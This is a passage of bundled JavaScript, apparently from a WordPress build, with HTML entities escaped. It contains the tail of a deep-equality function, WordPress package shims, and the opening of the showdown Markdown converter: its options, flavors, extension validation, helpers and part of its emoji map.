          if (ArrayBuffer.isView(a2) &amp;&amp; ArrayBuffer.isView(b2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (a2[i2] !== b2[i2]) return false;
            return true;
          }
          if (a2.constructor === RegExp) return a2.source === b2.source &amp;&amp; a2.flags === b2.flags;
          if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
          if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
          keys = Object.keys(a2);
          length = keys.length;
          if (length !== Object.keys(b2).length) return false;
          for (i2 = length; i2-- !== 0; )
            if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
          for (i2 = length; i2-- !== 0; ) {
            var key = keys[i2];
            if (!equal(a2[key], b2[key])) return false;
          }
          return true;
        }
        return a2 !== a2 &amp;&amp; b2 !== b2;
      };
    }
  });

  // package-external:@wordpress/html-entities
  var require_html_entities = __commonJS({
    &quot;package-external:@wordpress/html-entities&quot;(exports, module) {
      module.exports = window.wp.htmlEntities;
    }
  });

  // package-external:@wordpress/shortcode
  var require_shortcode = __commonJS({
    &quot;package-external:@wordpress/shortcode&quot;(exports, module) {
      module.exports = window.wp.shortcode;
    }
  });

  // package-external:@wordpress/blob
  var require_blob = __commonJS({
    &quot;package-external:@wordpress/blob&quot;(exports, module) {
      module.exports = window.wp.blob;
    }
  });

  // node_modules/showdown/dist/showdown.js
  var require_showdown = __commonJS({
    &quot;node_modules/showdown/dist/showdown.js&quot;(exports, module) {
      (function() {
        function getDefaultOpts(simple) {
          &quot;use strict&quot;;
          var defaultOptions = {
            omitExtraWLInCodeBlocks: {
              defaultValue: false,
              describe: &quot;Omit the default extra whiteline added to code blocks&quot;,
              type: &quot;boolean&quot;
            },
            noHeaderId: {
              defaultValue: false,
              describe: &quot;Turn on/off generated header id&quot;,
              type: &quot;boolean&quot;
            },
            prefixHeaderId: {
              defaultValue: false,
              describe: &quot;Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic &#039;section-&#039; prefix&quot;,
              type: &quot;string&quot;
            },
            rawPrefixHeaderId: {
              defaultValue: false,
              describe: &#039;Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the &quot; char is used in the prefix)&#039;,
              type: &quot;boolean&quot;
            },
            ghCompatibleHeaderId: {
              defaultValue: false,
              describe: &quot;Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)&quot;,
              type: &quot;boolean&quot;
            },
            rawHeaderId: {
              defaultValue: false,
              describe: `Remove only spaces, &#039; and &quot; from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids`,
              type: &quot;boolean&quot;
            },
            headerLevelStart: {
              defaultValue: false,
              describe: &quot;The header blocks level start&quot;,
              type: &quot;integer&quot;
            },
            parseImgDimensions: {
              defaultValue: false,
              describe: &quot;Turn on/off image dimension parsing&quot;,
              type: &quot;boolean&quot;
            },
            simplifiedAutoLink: {
              defaultValue: false,
              describe: &quot;Turn on/off GFM autolink style&quot;,
              type: &quot;boolean&quot;
            },
            excludeTrailingPunctuationFromURLs: {
              defaultValue: false,
              describe: &quot;Excludes trailing punctuation from links generated with autoLinking&quot;,
              type: &quot;boolean&quot;
            },
            literalMidWordUnderscores: {
              defaultValue: false,
              describe: &quot;Parse midword underscores as literal underscores&quot;,
              type: &quot;boolean&quot;
            },
            literalMidWordAsterisks: {
              defaultValue: false,
              describe: &quot;Parse midword asterisks as literal asterisks&quot;,
              type: &quot;boolean&quot;
            },
            strikethrough: {
              defaultValue: false,
              describe: &quot;Turn on/off strikethrough support&quot;,
              type: &quot;boolean&quot;
            },
            tables: {
              defaultValue: false,
              describe: &quot;Turn on/off tables support&quot;,
              type: &quot;boolean&quot;
            },
            tablesHeaderId: {
              defaultValue: false,
              describe: &quot;Add an id to table headers&quot;,
              type: &quot;boolean&quot;
            },
            ghCodeBlocks: {
              defaultValue: true,
              describe: &quot;Turn on/off GFM fenced code blocks support&quot;,
              type: &quot;boolean&quot;
            },
            tasklists: {
              defaultValue: false,
              describe: &quot;Turn on/off GFM tasklist support&quot;,
              type: &quot;boolean&quot;
            },
            smoothLivePreview: {
              defaultValue: false,
              describe: &quot;Prevents weird effects in live previews due to incomplete input&quot;,
              type: &quot;boolean&quot;
            },
            smartIndentationFix: {
              defaultValue: false,
              description: &quot;Tries to smartly fix indentation in es6 strings&quot;,
              type: &quot;boolean&quot;
            },
            disableForced4SpacesIndentedSublists: {
              defaultValue: false,
              description: &quot;Disables the requirement of indenting nested sublists by 4 spaces&quot;,
              type: &quot;boolean&quot;
            },
            simpleLineBreaks: {
              defaultValue: false,
              description: &quot;Parses simple line breaks as &lt;br&gt; (GFM Style)&quot;,
              type: &quot;boolean&quot;
            },
            requireSpaceBeforeHeadingText: {
              defaultValue: false,
              description: &quot;Makes adding a space between `#` and the header text mandatory (GFM Style)&quot;,
              type: &quot;boolean&quot;
            },
            ghMentions: {
              defaultValue: false,
              description: &quot;Enables github @mentions&quot;,
              type: &quot;boolean&quot;
            },
            ghMentionsLink: {
              defaultValue: &quot;https://github.com/{u}&quot;,
              description: &quot;Changes the link generated by @mentions. Only applies if ghMentions option is enabled.&quot;,
              type: &quot;string&quot;
            },
            encodeEmails: {
              defaultValue: true,
              description: &quot;Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities&quot;,
              type: &quot;boolean&quot;
            },
            openLinksInNewWindow: {
              defaultValue: false,
              description: &quot;Open all links in new windows&quot;,
              type: &quot;boolean&quot;
            },
            backslashEscapesHTMLTags: {
              defaultValue: false,
              description: &quot;Support for HTML Tag escaping. ex: &lt;div&gt;foo&lt;/div&gt;&quot;,
              type: &quot;boolean&quot;
            },
            emoji: {
              defaultValue: false,
              description: &quot;Enable emoji support. Ex: `this is a :smile: emoji`&quot;,
              type: &quot;boolean&quot;
            },
            underline: {
              defaultValue: false,
              description: &quot;Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `&lt;em&gt;` and `&lt;strong&gt;`&quot;,
              type: &quot;boolean&quot;
            },
            completeHTMLDocument: {
              defaultValue: false,
              description: &quot;Outputs a complete html document, including `&lt;html&gt;`, `&lt;head&gt;` and `&lt;body&gt;` tags&quot;,
              type: &quot;boolean&quot;
            },
            metadata: {
              defaultValue: false,
              description: &quot;Enable support for document metadata (defined at the top of the document between `\xAB\xAB\xAB` and `\xBB\xBB\xBB` or between `---` and `---`).&quot;,
              type: &quot;boolean&quot;
            },
            splitAdjacentBlockquotes: {
              defaultValue: false,
              description: &quot;Split adjacent blockquote blocks&quot;,
              type: &quot;boolean&quot;
            }
          };
          if (simple === false) {
            return JSON.parse(JSON.stringify(defaultOptions));
          }
          var ret = {};
          for (var opt in defaultOptions) {
            if (defaultOptions.hasOwnProperty(opt)) {
              ret[opt] = defaultOptions[opt].defaultValue;
            }
          }
          return ret;
        }
        function allOptionsOn() {
          &quot;use strict&quot;;
          var options = getDefaultOpts(true), ret = {};
          for (var opt in options) {
            if (options.hasOwnProperty(opt)) {
              ret[opt] = true;
            }
          }
          return ret;
        }
        var showdown2 = {}, parsers = {}, extensions = {}, globalOptions = getDefaultOpts(true), setFlavor = &quot;vanilla&quot;, flavor = {
          github: {
            omitExtraWLInCodeBlocks: true,
            simplifiedAutoLink: true,
            excludeTrailingPunctuationFromURLs: true,
            literalMidWordUnderscores: true,
            strikethrough: true,
            tables: true,
            tablesHeaderId: true,
            ghCodeBlocks: true,
            tasklists: true,
            disableForced4SpacesIndentedSublists: true,
            simpleLineBreaks: true,
            requireSpaceBeforeHeadingText: true,
            ghCompatibleHeaderId: true,
            ghMentions: true,
            backslashEscapesHTMLTags: true,
            emoji: true,
            splitAdjacentBlockquotes: true
          },
          original: {
            noHeaderId: true,
            ghCodeBlocks: false
          },
          ghost: {
            omitExtraWLInCodeBlocks: true,
            parseImgDimensions: true,
            simplifiedAutoLink: true,
            excludeTrailingPunctuationFromURLs: true,
            literalMidWordUnderscores: true,
            strikethrough: true,
            tables: true,
            tablesHeaderId: true,
            ghCodeBlocks: true,
            tasklists: true,
            smoothLivePreview: true,
            simpleLineBreaks: true,
            requireSpaceBeforeHeadingText: true,
            ghMentions: false,
            encodeEmails: true
          },
          vanilla: getDefaultOpts(true),
          allOn: allOptionsOn()
        };
        showdown2.helper = {};
        showdown2.extensions = {};
        showdown2.setOption = function(key, value) {
          &quot;use strict&quot;;
          globalOptions[key] = value;
          return this;
        };
        showdown2.getOption = function(key) {
          &quot;use strict&quot;;
          return globalOptions[key];
        };
        showdown2.getOptions = function() {
          &quot;use strict&quot;;
          return globalOptions;
        };
        showdown2.resetOptions = function() {
          &quot;use strict&quot;;
          globalOptions = getDefaultOpts(true);
        };
        showdown2.setFlavor = function(name) {
          &quot;use strict&quot;;
          if (!flavor.hasOwnProperty(name)) {
            throw Error(name + &quot; flavor was not found&quot;);
          }
          showdown2.resetOptions();
          var preset = flavor[name];
          setFlavor = name;
          for (var option in preset) {
            if (preset.hasOwnProperty(option)) {
              globalOptions[option] = preset[option];
            }
          }
        };
        showdown2.getFlavor = function() {
          &quot;use strict&quot;;
          return setFlavor;
        };
        showdown2.getFlavorOptions = function(name) {
          &quot;use strict&quot;;
          if (flavor.hasOwnProperty(name)) {
            return flavor[name];
          }
        };
        showdown2.getDefaultOptions = function(simple) {
          &quot;use strict&quot;;
          return getDefaultOpts(simple);
        };
        showdown2.subParser = function(name, func) {
          &quot;use strict&quot;;
          if (showdown2.helper.isString(name)) {
            if (typeof func !== &quot;undefined&quot;) {
              parsers[name] = func;
            } else {
              if (parsers.hasOwnProperty(name)) {
                return parsers[name];
              } else {
                throw Error(&quot;SubParser named &quot; + name + &quot; not registered!&quot;);
              }
            }
          }
        };
        showdown2.extension = function(name, ext) {
          &quot;use strict&quot;;
          if (!showdown2.helper.isString(name)) {
            throw Error(&quot;Extension &#039;name&#039; must be a string&quot;);
          }
          name = showdown2.helper.stdExtName(name);
          if (showdown2.helper.isUndefined(ext)) {
            if (!extensions.hasOwnProperty(name)) {
              throw Error(&quot;Extension named &quot; + name + &quot; is not registered!&quot;);
            }
            return extensions[name];
          } else {
            if (typeof ext === &quot;function&quot;) {
              ext = ext();
            }
            if (!showdown2.helper.isArray(ext)) {
              ext = [ext];
            }
            var validExtension = validate(ext, name);
            if (validExtension.valid) {
              extensions[name] = ext;
            } else {
              throw Error(validExtension.error);
            }
          }
        };
        showdown2.getAllExtensions = function() {
          &quot;use strict&quot;;
          return extensions;
        };
        showdown2.removeExtension = function(name) {
          &quot;use strict&quot;;
          delete extensions[name];
        };
        showdown2.resetExtensions = function() {
          &quot;use strict&quot;;
          extensions = {};
        };
        function validate(extension, name) {
          &quot;use strict&quot;;
          var errMsg = name ? &quot;Error in &quot; + name + &quot; extension-&gt;&quot; : &quot;Error in unnamed extension&quot;, ret = {
            valid: true,
            error: &quot;&quot;
          };
          if (!showdown2.helper.isArray(extension)) {
            extension = [extension];
          }
          for (var i2 = 0; i2 &lt; extension.length; ++i2) {
            var baseMsg = errMsg + &quot; sub-extension &quot; + i2 + &quot;: &quot;, ext = extension[i2];
            if (typeof ext !== &quot;object&quot;) {
              ret.valid = false;
              ret.error = baseMsg + &quot;must be an object, but &quot; + typeof ext + &quot; given&quot;;
              return ret;
            }
            if (!showdown2.helper.isString(ext.type)) {
              ret.valid = false;
              ret.error = baseMsg + &#039;property &quot;type&quot; must be a string, but &#039; + typeof ext.type + &quot; given&quot;;
              return ret;
            }
            var type = ext.type = ext.type.toLowerCase();
            if (type === &quot;language&quot;) {
              type = ext.type = &quot;lang&quot;;
            }
            if (type === &quot;html&quot;) {
              type = ext.type = &quot;output&quot;;
            }
            if (type !== &quot;lang&quot; &amp;&amp; type !== &quot;output&quot; &amp;&amp; type !== &quot;listener&quot;) {
              ret.valid = false;
              ret.error = baseMsg + &quot;type &quot; + type + &#039; is not recognized. Valid values: &quot;lang/language&quot;, &quot;output/html&quot; or &quot;listener&quot;&#039;;
              return ret;
            }
            if (type === &quot;listener&quot;) {
              if (showdown2.helper.isUndefined(ext.listeners)) {
                ret.valid = false;
                ret.error = baseMsg + &#039;. Extensions of type &quot;listener&quot; must have a property called &quot;listeners&quot;&#039;;
                return ret;
              }
            } else {
              if (showdown2.helper.isUndefined(ext.filter) &amp;&amp; showdown2.helper.isUndefined(ext.regex)) {
                ret.valid = false;
                ret.error = baseMsg + type + &#039; extensions must define either a &quot;regex&quot; property or a &quot;filter&quot; method&#039;;
                return ret;
              }
            }
            if (ext.listeners) {
              if (typeof ext.listeners !== &quot;object&quot;) {
                ret.valid = false;
                ret.error = baseMsg + &#039;&quot;listeners&quot; property must be an object but &#039; + typeof ext.listeners + &quot; given&quot;;
                return ret;
              }
              for (var ln in ext.listeners) {
                if (ext.listeners.hasOwnProperty(ln)) {
                  if (typeof ext.listeners[ln] !== &quot;function&quot;) {
                    ret.valid = false;
                    ret.error = baseMsg + &#039;&quot;listeners&quot; property must be an hash of [event name]: [callback]. listeners.&#039; + ln + &quot; must be a function but &quot; + typeof ext.listeners[ln] + &quot; given&quot;;
                    return ret;
                  }
                }
              }
            }
            if (ext.filter) {
              if (typeof ext.filter !== &quot;function&quot;) {
                ret.valid = false;
                ret.error = baseMsg + &#039;&quot;filter&quot; must be a function, but &#039; + typeof ext.filter + &quot; given&quot;;
                return ret;
              }
            } else if (ext.regex) {
              if (showdown2.helper.isString(ext.regex)) {
                ext.regex = new RegExp(ext.regex, &quot;g&quot;);
              }
              if (!(ext.regex instanceof RegExp)) {
                ret.valid = false;
                ret.error = baseMsg + &#039;&quot;regex&quot; property must either be a string or a RegExp object, but &#039; + typeof ext.regex + &quot; given&quot;;
                return ret;
              }
              if (showdown2.helper.isUndefined(ext.replace)) {
                ret.valid = false;
                ret.error = baseMsg + &#039;&quot;regex&quot; extensions must implement a replace string or function&#039;;
                return ret;
              }
            }
          }
          return ret;
        }
        showdown2.validateExtension = function(ext) {
          &quot;use strict&quot;;
          var validateExtension = validate(ext, null);
          if (!validateExtension.valid) {
            console.warn(validateExtension.error);
            return false;
          }
          return true;
        };
        if (!showdown2.hasOwnProperty(&quot;helper&quot;)) {
          showdown2.helper = {};
        }
        showdown2.helper.isString = function(a2) {
          &quot;use strict&quot;;
          return typeof a2 === &quot;string&quot; || a2 instanceof String;
        };
        showdown2.helper.isFunction = function(a2) {
          &quot;use strict&quot;;
          var getType = {};
          return a2 &amp;&amp; getType.toString.call(a2) === &quot;[object Function]&quot;;
        };
        showdown2.helper.isArray = function(a2) {
          &quot;use strict&quot;;
          return Array.isArray(a2);
        };
        showdown2.helper.isUndefined = function(value) {
          &quot;use strict&quot;;
          return typeof value === &quot;undefined&quot;;
        };
        showdown2.helper.forEach = function(obj, callback) {
          &quot;use strict&quot;;
          if (showdown2.helper.isUndefined(obj)) {
            throw new Error(&quot;obj param is required&quot;);
          }
          if (showdown2.helper.isUndefined(callback)) {
            throw new Error(&quot;callback param is required&quot;);
          }
          if (!showdown2.helper.isFunction(callback)) {
            throw new Error(&quot;callback param must be a function/closure&quot;);
          }
          if (typeof obj.forEach === &quot;function&quot;) {
            obj.forEach(callback);
          } else if (showdown2.helper.isArray(obj)) {
            for (var i2 = 0; i2 &lt; obj.length; i2++) {
              callback(obj[i2], i2, obj);
            }
          } else if (typeof obj === &quot;object&quot;) {
            for (var prop2 in obj) {
              if (obj.hasOwnProperty(prop2)) {
                callback(obj[prop2], prop2, obj);
              }
            }
          } else {
            throw new Error(&quot;obj does not seem to be an array or an iterable object&quot;);
          }
        };
        showdown2.helper.stdExtName = function(s2) {
          &quot;use strict&quot;;
          return s2.replace(/[_?*+\/\\.^-]/g, &quot;&quot;).replace(/\s/g, &quot;&quot;).toLowerCase();
        };
        function escapeCharactersCallback(wholeMatch, m1) {
          &quot;use strict&quot;;
          var charCodeToEscape = m1.charCodeAt(0);
          return &quot;\xA8E&quot; + charCodeToEscape + &quot;E&quot;;
        }
        showdown2.helper.escapeCharactersCallback = escapeCharactersCallback;
        showdown2.helper.escapeCharacters = function(text2, charsToEscape, afterBackslash) {
          &quot;use strict&quot;;
          var regexString = &quot;([&quot; + charsToEscape.replace(/([\[\]\\])/g, &quot;\\$1&quot;) + &quot;])&quot;;
          if (afterBackslash) {
            regexString = &quot;\\\\&quot; + regexString;
          }
          var regex = new RegExp(regexString, &quot;g&quot;);
          text2 = text2.replace(regex, escapeCharactersCallback);
          return text2;
        };
        showdown2.helper.unescapeHTMLEntities = function(txt) {
          &quot;use strict&quot;;
          return txt.replace(/&amp;quot;/g, &#039;&quot;&#039;).replace(/&amp;lt;/g, &quot;&lt;&quot;).replace(/&amp;gt;/g, &quot;&gt;&quot;).replace(/&amp;amp;/g, &quot;&amp;&quot;);
        };
        var rgxFindMatchPos = function(str, left, right, flags) {
          &quot;use strict&quot;;
          var f2 = flags || &quot;&quot;, g2 = f2.indexOf(&quot;g&quot;) &gt; -1, x2 = new RegExp(left + &quot;|&quot; + right, &quot;g&quot; + f2.replace(/g/g, &quot;&quot;)), l2 = new RegExp(left, f2.replace(/g/g, &quot;&quot;)), pos = [], t3, s2, m2, start, end;
          do {
            t3 = 0;
            while (m2 = x2.exec(str)) {
              if (l2.test(m2[0])) {
                if (!t3++) {
                  s2 = x2.lastIndex;
                  start = s2 - m2[0].length;
                }
              } else if (t3) {
                if (!--t3) {
                  end = m2.index + m2[0].length;
                  var obj = {
                    left: { start, end: s2 },
                    match: { start: s2, end: m2.index },
                    right: { start: m2.index, end },
                    wholeMatch: { start, end }
                  };
                  pos.push(obj);
                  if (!g2) {
                    return pos;
                  }
                }
              }
            }
          } while (t3 &amp;&amp; (x2.lastIndex = s2));
          return pos;
        };
        showdown2.helper.matchRecursiveRegExp = function(str, left, right, flags) {
          &quot;use strict&quot;;
          var matchPos = rgxFindMatchPos(str, left, right, flags), results = [];
          for (var i2 = 0; i2 &lt; matchPos.length; ++i2) {
            results.push([
              str.slice(matchPos[i2].wholeMatch.start, matchPos[i2].wholeMatch.end),
              str.slice(matchPos[i2].match.start, matchPos[i2].match.end),
              str.slice(matchPos[i2].left.start, matchPos[i2].left.end),
              str.slice(matchPos[i2].right.start, matchPos[i2].right.end)
            ]);
          }
          return results;
        };
        showdown2.helper.replaceRecursiveRegExp = function(str, replacement, left, right, flags) {
          &quot;use strict&quot;;
          if (!showdown2.helper.isFunction(replacement)) {
            var repStr = replacement;
            replacement = function() {
              return repStr;
            };
          }
          var matchPos = rgxFindMatchPos(str, left, right, flags), finalStr = str, lng = matchPos.length;
          if (lng &gt; 0) {
            var bits = [];
            if (matchPos[0].wholeMatch.start !== 0) {
              bits.push(str.slice(0, matchPos[0].wholeMatch.start));
            }
            for (var i2 = 0; i2 &lt; lng; ++i2) {
              bits.push(
                replacement(
                  str.slice(matchPos[i2].wholeMatch.start, matchPos[i2].wholeMatch.end),
                  str.slice(matchPos[i2].match.start, matchPos[i2].match.end),
                  str.slice(matchPos[i2].left.start, matchPos[i2].left.end),
                  str.slice(matchPos[i2].right.start, matchPos[i2].right.end)
                )
              );
              if (i2 &lt; lng - 1) {
                bits.push(str.slice(matchPos[i2].wholeMatch.end, matchPos[i2 + 1].wholeMatch.start));
              }
            }
            if (matchPos[lng - 1].wholeMatch.end &lt; str.length) {
              bits.push(str.slice(matchPos[lng - 1].wholeMatch.end));
            }
            finalStr = bits.join(&quot;&quot;);
          }
          return finalStr;
        };
        showdown2.helper.regexIndexOf = function(str, regex, fromIndex) {
          &quot;use strict&quot;;
          if (!showdown2.helper.isString(str)) {
            throw &quot;InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string&quot;;
          }
          if (regex instanceof RegExp === false) {
            throw &quot;InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp&quot;;
          }
          var indexOf = str.substring(fromIndex || 0).search(regex);
          return indexOf &gt;= 0 ? indexOf + (fromIndex || 0) : indexOf;
        };
        showdown2.helper.splitAtIndex = function(str, index) {
          &quot;use strict&quot;;
          if (!showdown2.helper.isString(str)) {
            throw &quot;InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string&quot;;
          }
          return [str.substring(0, index), str.substring(index)];
        };
        showdown2.helper.encodeEmailAddress = function(mail) {
          &quot;use strict&quot;;
          var encode = [
            function(ch) {
              return &quot;&amp;#&quot; + ch.charCodeAt(0) + &quot;;&quot;;
            },
            function(ch) {
              return &quot;&amp;#x&quot; + ch.charCodeAt(0).toString(16) + &quot;;&quot;;
            },
            function(ch) {
              return ch;
            }
          ];
          mail = mail.replace(/./g, function(ch) {
            if (ch === &quot;@&quot;) {
              ch = encode[Math.floor(Math.random() * 2)](ch);
            } else {
              var r2 = Math.random();
              ch = r2 &gt; 0.9 ? encode[2](ch) : r2 &gt; 0.45 ? encode[1](ch) : encode[0](ch);
            }
            return ch;
          });
          return mail;
        };
        showdown2.helper.padEnd = function padEnd(str, targetLength, padString) {
          &quot;use strict&quot;;
          targetLength = targetLength &gt;&gt; 0;
          padString = String(padString || &quot; &quot;);
          if (str.length &gt; targetLength) {
            return String(str);
          } else {
            targetLength = targetLength - str.length;
            if (targetLength &gt; padString.length) {
              padString += padString.repeat(targetLength / padString.length);
            }
            return String(str) + padString.slice(0, targetLength);
          }
        };
        if (typeof console === &quot;undefined&quot;) {
          console = {
            warn: function(msg) {
              &quot;use strict&quot;;
              alert(msg);
            },
            log: function(msg) {
              &quot;use strict&quot;;
              alert(msg);
            },
            error: function(msg) {
              &quot;use strict&quot;;
              throw msg;
            }
          };
        }
        showdown2.helper.regexes = {
          asteriskDashAndColon: /([*_:~])/g
        };
        showdown2.helper.emojis = {
          &quot;+1&quot;: &quot;\u{1F44D}&quot;,
          &quot;-1&quot;: &quot;\u{1F44E}&quot;,
          &quot;100&quot;: &quot;\u{1F4AF}&quot;,
          &quot;1234&quot;: &quot;\u{1F522}&quot;,
          &quot;1st_place_medal&quot;: &quot;\u{1F947}&quot;,
          &quot;2nd_place_medal&quot;: &quot;\u{1F948}&quot;,
          &quot;3rd_place_medal&quot;: &quot;\u{1F949}&quot;,
          &quot;8ball&quot;: &quot;\u{1F3B1}&quot;,
          &quot;a&quot;: &quot;\u{1F170}\uFE0F&quot;,
          &quot;ab&quot;: &quot;\u{1F18E}&quot;,
          &quot;abc&quot;: &quot;\u{1F524}&quot;,
          &quot;abcd&quot;: &quot;\u{1F521}&quot;,
          &quot;accept&quot;: &quot;\u{1F251}&quot;,
          &quot;aerial_tramway&quot;: &quot;\u{1F6A1}&quot;,
          &quot;airplane&quot;: &quot;\u2708\uFE0F&quot;,
          &quot;alarm_clock&quot;: &quot;\u23F0&quot;,
          &quot;alembic&quot;: &quot;\u2697\uFE0F&quot;,
          &quot;alien&quot;: &quot;\u{1F47D}&quot;,
          &quot;ambulance&quot;: &quot;\u{1F691}&quot;,
          &quot;amphora&quot;: &quot;\u{1F3FA}&quot;,
          &quot;anchor&quot;: &quot;\u2693\uFE0F&quot;,
          &quot;angel&quot;: &quot;\u{1F47C}&quot;,
          &quot;anger&quot;: &quot;\u{1F4A2}&quot;,
          &quot;angry&quot;: &quot;\u{1F620}&quot;,
          &quot;anguished&quot;: &quot;\u{1F627}&quot;,
          &quot;ant&quot;: &quot;\u{1F41C}&quot;,
          &quot;apple&quot;: &quot;\u{1F34E}&quot;,
          &quot;aquarius&quot;: &quot;\u2652\uFE0F&quot;,
          &quot;aries&quot;: &quot;\u2648\uFE0F&quot;,
          &quot;arrow_backward&quot;: &quot;\u25C0\uFE0F&quot;,
          &quot;arrow_double_down&quot;: &quot;\u23EC&quot;,
          &quot;arrow_double_up&quot;: &quot;\u23EB&quot;,
          &quot;arrow_down&quot;: &quot;\u2B07\uFE0F&quot;,
          &quot;arrow_down_small&quot;: &quot;\u{1F53D}&quot;,
          &quot;arrow_forward&quot;: &quot;\u25B6\uFE0F&quot;,
          &quot;arrow_heading_down&quot;: &quot;\u2935\uFE0F&quot;,
          &quot;arrow_heading_up&quot;: &quot;\u2934\uFE0F&quot;,
          &quot;arrow_left&quot;: &quot;\u2B05\uFE0F&quot;,
          &quot;arrow_lower_left&quot;: &quot;\u2199\uFE0F&quot;,
          &quot;arrow_lower_right&quot;: &quot;\u2198\uFE0F&quot;,
          &quot;arrow_right&quot;: &quot;\u27A1\uFE0F&quot;,
          &quot;arrow_right_hook&quot;: &quot;\u21AA\uFE0F&quot;,
          &quot;arrow_up&quot;: &quot;\u2B06\uFE0F&quot;,
          &quot;arrow_up_down&quot;: &quot;\u2195\uFE0F&quot;,
          &quot;arrow_up_small&quot;: &quot;\u{1F53C}&quot;,
          &quot;arrow_upper_left&quot;: &quot;\u2196\uFE0F&quot;,
          &quot;arrow_upper_right&quot;: &quot;\u2197\uFE0F&quot;,
          &quot;arrows_clockwise&quot;: &quot;\u{1F503}&quot;,
          &quot;arrows_counterclockwise&quot;: &quot;\u{1F504}&quot;,
          &quot;art&quot;: &quot;\u{1F3A8}&quot;,
          &quot;articulated_lorry&quot;: &quot;\u{1F69B}&quot;,
          &quot;artificial_satellite&quot;: &quot;\u{1F6F0}&quot;,
          &quot;astonished&quot;: &quot;\u{1F632}&quot;,
          &quot;athletic_shoe&quot;: &quot;\u{1F45F}&quot;,
          &quot;atm&quot;: &quot;\u{1F3E7}&quot;,
          &quot;atom_symbol&quot;: &quot;\u269B\uFE0F&quot;,
          &quot;avocado&quot;: &quot;\u{1F951}&quot;,
          &quot;b&quot;: &quot;\u{1F171}\uFE0F&quot;,
          &quot;baby&quot;: &quot;\u{1F476}&quot;,
          &quot;baby_bottle&quot;: &quot;\u{1F37C}&quot;,
          &quot;baby_chick&quot;: &quot;\u{1F424}&quot;,
          &quot;baby_symbol&quot;: &quot;\u{1F6BC}&quot;,
          &quot;back&quot;: &quot;\u{1F519}&quot;,
          &quot;bacon&quot;: &quot;\u{1F953}&quot;,
          &quot;badminton&quot;: &quot;\u{1F3F8}&quot;,
          &quot;baggage_claim&quot;: &quot;\u{1F6C4}&quot;,
          &quot;baguette_bread&quot;: &quot;\u{1F956}&quot;,
          &quot;balance_scale&quot;: &quot;\u2696\uFE0F&quot;,
          &quot;balloon&quot;: &quot;\u{1F388}&quot;,
          &quot;ballot_box&quot;: &quot;\u{1F5F3}&quot;,
          &quot;ballot_box_with_check&quot;: &quot;\u2611\uFE0F&quot;,
          &quot;bamboo&quot;: &quot;\u{1F38D}&quot;,
          &quot;banana&quot;: &quot;\u{1F34C}&quot;,
          &quot;bangbang&quot;: &quot;\u203C\uFE0F&quot;,
          &quot;bank&quot;: &quot;\u{1F3E6}&quot;,
          &quot;bar_chart&quot;: &quot;\u{1F4CA}&quot;,
          &quot;barber&quot;: &quot;\u{1F488}&quot;,
          &quot;baseball&quot;: &quot;\u26BE\uFE0F&quot;,
          &quot;basketball&quot;: &quot;\u{1F3C0}&quot;,
          &quot;basketball_man&quot;: &quot;\u26F9\uFE0F&quot;,
          &quot;basketball_woman&quot;: &quot;\u26F9\uFE0F&amp;zwj;\u2640\uFE0F&quot;,
          &quot;bat&quot;: &quot;\u{1F987}&quot;,
          &quot;bath&quot;: &quot;\u{1F6C0}&quot;,
          &quot;bathtub&quot;: &quot;\u{1F6C1}&quot;,
          &quot;battery&quot;: &quot;\u{1F50B}&quot;,
          &quot;beach_umbrella&quot;: &quot;\u{1F3D6}&quot;,
          &quot;bear&quot;: &quot;\u{1F43B}&quot;,
          &quot;bed&quot;: &quot;\u{1F6CF}&quot;,
          &quot;bee&quot;: &quot;\u{1F41D}&quot;,
          &quot;beer&quot;: &quot;\u{1F37A}&quot;,
          &quot;beers&quot;: &quot;\u{1F37B}&quot;,
          &quot;beetle&quot;: &quot;\u{1F41E}&quot;,
          &quot;beginner&quot;: &quot;\u{1F530}&quot;,
          &quot;bell&quot;: &quot;\u{1F514}&quot;,
          &quot;bellhop_bell&quot;: &quot;\u{1F6CE}&quot;,
          &quot;bento&quot;: &quot;\u{1F371}&quot;,
          &quot;biking_man&quot;: &quot;\u{1F6B4}&quot;,
          &quot;bike&quot;: &quot;\u{1F6B2}&quot;,
          &quot;biking_woman&quot;: &quot;\u{1F6B4}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;bikini&quot;: &quot;\u{1F459}&quot;,
          &quot;biohazard&quot;: &quot;\u2623\uFE0F&quot;,
          &quot;bird&quot;: &quot;\u{1F426}&quot;,
          &quot;birthday&quot;: &quot;\u{1F382}&quot;,
          &quot;black_circle&quot;: &quot;\u26AB\uFE0F&quot;,
          &quot;black_flag&quot;: &quot;\u{1F3F4}&quot;,
          &quot;black_heart&quot;: &quot;\u{1F5A4}&quot;,
          &quot;black_joker&quot;: &quot;\u{1F0CF}&quot;,
          &quot;black_large_square&quot;: &quot;\u2B1B\uFE0F&quot;,
          &quot;black_medium_small_square&quot;: &quot;\u25FE\uFE0F&quot;,
          &quot;black_medium_square&quot;: &quot;\u25FC\uFE0F&quot;,
          &quot;black_nib&quot;: &quot;\u2712\uFE0F&quot;,
          &quot;black_small_square&quot;: &quot;\u25AA\uFE0F&quot;,
          &quot;black_square_button&quot;: &quot;\u{1F532}&quot;,
          &quot;blonde_man&quot;: &quot;\u{1F471}&quot;,
          &quot;blonde_woman&quot;: &quot;\u{1F471}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;blossom&quot;: &quot;\u{1F33C}&quot;,
          &quot;blowfish&quot;: &quot;\u{1F421}&quot;,
          &quot;blue_book&quot;: &quot;\u{1F4D8}&quot;,
          &quot;blue_car&quot;: &quot;\u{1F699}&quot;,
          &quot;blue_heart&quot;: &quot;\u{1F499}&quot;,
          &quot;blush&quot;: &quot;\u{1F60A}&quot;,
